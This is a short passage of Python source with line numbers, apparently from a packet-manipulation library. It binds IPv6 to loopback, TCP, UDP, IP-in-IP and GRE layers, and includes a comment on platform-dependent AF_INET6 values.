4246# AF_INET6 values are platform-dependent. For a detailed explanation, read 

4247# https://github.com/the-tcpdump-group/libpcap/blob/f98637ad7f086a34c4027339c9639ae1ef842df3/gencode.c#L3333-L3354 # noqa: E501 

4248if WINDOWS: 

4249 bind_layers(Loopback, IPv6, type=0x18) 

4250else: 

4251 bind_layers(Loopback, IPv6, type=socket.AF_INET6) 

4252bind_layers(IPerror6, TCPerror, nh=socket.IPPROTO_TCP) 

4253bind_layers(IPerror6, UDPerror, nh=socket.IPPROTO_UDP) 

4254bind_layers(IPv6, TCP, nh=socket.IPPROTO_TCP) 

4255bind_layers(IPv6, UDP, nh=socket.IPPROTO_UDP) 

4256bind_layers(IP, IPv6, proto=socket.IPPROTO_IPV6) 

4257bind_layers(IPv6, IPv6, nh=socket.IPPROTO_IPV6) 

4258bind_layers(IPv6, IP, nh=socket.IPPROTO_IPIP) 

4259bind_layers(IPv6, GRE, nh=socket.IPPROTO_GRE)